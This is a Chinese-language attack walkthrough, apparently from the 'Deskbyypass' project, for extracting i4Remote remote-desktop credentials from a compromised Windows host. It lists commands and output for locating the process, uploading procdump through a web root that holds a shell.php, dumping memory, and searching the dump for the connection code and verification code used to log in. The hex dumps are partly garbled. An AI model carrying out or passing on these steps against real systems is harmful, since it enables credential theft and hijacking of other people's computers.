

J.1、爱思安装版本

2023年10月26日 15:57

By:弱鸡

笔者微信: vivo50KFCKFC

项目地址: <https://github.com/RuoJi6/Deskbyypass>

博客: <https://vlog.taoyuan.cool/>

工具链接:

链接: https://pan.baidu.com/s/1XdVkJAJU_Q9rD0PMiSDZFKQ?pwd=zdpm

提取码: zdpm

--来自百度网盘超级会员v4的分享

版本: i4Remote_v1.0.32_Setup_x64_700001.exe

1、搜索RayLink进程ID

tasklist /v | findstr /i i4Remote

```
E:\phpstudy_pro\WWW/ >tasklist /v | findstr /i i4Remote
i4Remote.exe           4696 Console           1 107,428 K Running    DESKTOP-48IQAVS\123456 0:00:05 爱思远控
i4Remote_Host_Service.exe 10872 Services          0 20,932 K Unknown    NT AUTHORITY\SYSTEM    0:00:00 暂缺
i4Remote.exe           4940 Console           1 32,736 K Unknown    NT AUTHORITY\SYSTEM    0:00:00 暂缺
i4Remote.exe           13920 Services         0 45,648 K Unknown    NT AUTHORITY\SYSTEM    0:00:02 暂缺
i4Remote.exe           4432 Console           1 51,028 K Running    NT AUTHORITY\SYSTEM    0:00:00 暂缺

E:\phpstudy_pro\WWW/ >
```

2、上传procdump, dump内存(此操作敏感, 这个文件本身是windows官方的)

procdump.exe -accepteula -ma ID

```
E:\phpstudy_pro\WWW 的目录
2023/10/26 15:49 <DIR> .
2023/10/26 15:49 <DIR> ..
2023/09/21 22:49 32 1.php
2023/09/17 17:14 <DIR> error
2019/09/03 14:30 2,307 index.html
2023/10/26 15:50 791,960 procdump.exe
2023/10/26 14:41 299 shell.php
4 个文件 794,598 字节
3 个目录 29,170,266,112 可用字节

E:\phpstudy_pro\WWW/ >
```

```
E:\phpstudy_pro\WWW/ >procdump.exe -accepteula -ma 4696

ProcDump v11.0 - Sysinternals process dump utility
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[16:01:04] Dump 1 initiated: E:\phpstudy_pro\WWW\i4Remote.exe_231026_160104.dmp
[16:01:05] Dump 1 writing: Estimated dump file size is 531 MB.
[16:01:07] Dump 1 complete: 531 MB written in 3.3 seconds
[16:01:08] Dump count reached.

E:\phpstudy_pro\WWW/ >dir

驱动器 E 中的卷是 新加卷
卷的序列号是 1292-9D08

E:\phpstudy_pro\WWW 的目录
2023/10/26 16:01 <DIR> .
2023/10/26 16:01 <DIR> ..
2023/09/21 22:49 32 1.php
2023/09/17 17:14 <DIR> error
2023/10/26 16:01 543,411,079 i4Remote.exe_231026_160104.dmp
2019/09/03 14:30 2,307 index.html
2023/10/26 15:50 791,960 procdump.exe
2023/10/26 14:41 299 shell.php
5 个文件 544,275,677 字节
3 个目录 28,423,852,032 可用字节

E:\phpstudy_pro\WWW/ >
```

3、下载到本地使用010 Editor查看文件

搜索 connectionCode 查看机器ID

搜索 false},"verifyCode":" 查看验证码

00h:	30 30 44 41	41 42 30 38	38 41 39 33	41 22 2C 22	00DAAB088A93A",	"
10h:	63 6C 69 65	6E 74 62 69	74 22 3A 22	36 34 22 2C	clientbit":"64",	
20h:	22 63 6C 69	65 6E 74 76	65 72 73 69	6F 6E 22 3A	"clientversion":	
30h:	22 31 2E 30	2E 33 32 2E	30 32 22 2C	22 63 6F 6E	"1.0.32.02","con	
40h:	6E 65 63 74	69 6F 6E 43	6F 64 65	22 3A 22 32 31	nectionCode":"21	
50h:	38 34 38 30	30 33 38 22	2C 22 63 70	75 49 6E 66	8480038","cpuInf	
60h:	6F 22 3A 22	31 32 74 68	20 47 65 6E	20 49 6E 74	e":"12th Gen Int	
70h:	65 6C 28 52	29 20 43 6F	72 65 28 54	4D 29 20 69	el(R) Core(TM) i	
80h:	39 2D 31 32	39 30 30 48	22 2C 22 64	65 76 69 63	9-12900H","devic	
90h:	65 4E 61 6D	65 22 3A 22	44 45 53 4B	54 4F 50 2D	eName":"DESKTOP-	
00h:	34 38 49 51	41 56 53 22	2C 22 66 61	73 74 52 65	48IQAVS","fastRe	
10h:	6D 6F 74 65	56 65 69 66	79 54 79 70	65 22 3A 31	moteVeifyType":1	
20h:	2C 22 66 69	6C 65 41 63	63 65 73 73	22 3A 30 2C	,"fileAccess":0,	
30h:	22 67 72 61	70 68 69 63	73 49 6E 66	6F 22 3A 22	"graphicsInfo":	
40h:	56 4D 77 61	72 65 20 53	56 47 41 20	33 44 3B 22	VMware SVGA 3D;"	
50h:	2C 22 68 61	72 64 44 69	73 68 49 6E	66 6F 22 3A	,"hardDiskInfo":	
60h:	22 56 4D 77	61 72 65 20	56 69 72 74	75 61 6C 20	"VMware Virtual	
70h:	4E 56 4D 65	20 44 69 73	6B 3B 22 2C	22 69 73 36	NVMe Disk;"	
80h:	24 63 60 74	73 2A 20 2C	73 60 73 43	60 6E 64 73	4bit"0 "isDied"	

地址	值
已找到 32 个 'connectionCode'.	
004DA28Dh	connectionCode
00435F34h	connectionCode

00h:	65 6D 6F 74	65 57 69 74	68 4C 6F 63	6B 49 67 6E	emoteWithLockIgn	
10h:	6F 72 65 5C	22 3A 66 61	6C 73 65 2C	5C 22 70 72	ore\":"false,\\"pr	
20h:	69 76 61 63	79 53 63 72	65 65 6E 4F	6E 49 67 6E	ivacyScreenOnIgn	
30h:	6F 72 65 5C	22 3A 66 61	6C 73 65 7D	22 2C 22 60	ore\":"false"},"i	
40h:	73 43 6C 69	65 6E 74 56	65 72 73 69	6F 6E 53 4	sClientVersionSt	
50h:	6F 70 55 73	65 22 3A 56	61 6C 73 65	7D 2C 22 6	opUse":"false"},"v	
60h:	65 72 69 66	79 43 6F 64	65 22 3A 22	63 31 73 38	erifyCode":"c1s8	
70h:	75 35 22 2C	22 6F 70 74	69 6F 6E 73	22 3A 7B 22	u5","options":{"	
80h:	69 73 43 6C	69 65 6E 74	56 65 72 73	69 6F 6E 63	isClientVersionS	
90h:	74 6F 70 55	73 65 22 3A	66 61 6C 73	65 2C 22 69	opUse":"false","i	
00h:	73 4C 6F 63	68 53 63 72	65 65 6E 22	3A 66 61 6C	sLockScreen":fal	
10h:	73 65 2C 22	69 73 4C 6F	63 68 43 6C	69 65 6E 74	se,"isLockClient	
20h:	22 3A 66 61	6C 73 65 7D	7D 00 00 00	00 00 00 91	":"false}}.....	
30h:	89 73 53 9B	8D 87 10 00	00 00 00 00	00 00 00 00	%S>\$.#.....	
40h:	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
50h:	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
60h:	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
70h:	00 00 00 0F	10 10 10 3D	40 42 42 6E	73 76 76 98=@Bbnsyv~	

文本: ^ false},"verifyCode": ^ 全部(A) 选项(P) 66 61 6C 73 65 7D 2C 22 76 65 72 69 66 79 43 6F 64 65 22 3A 22

地址	值
已找到 1 个 'false},"verifyCode":'.	
00851737h	false},"verifyCode":'

4. 连接



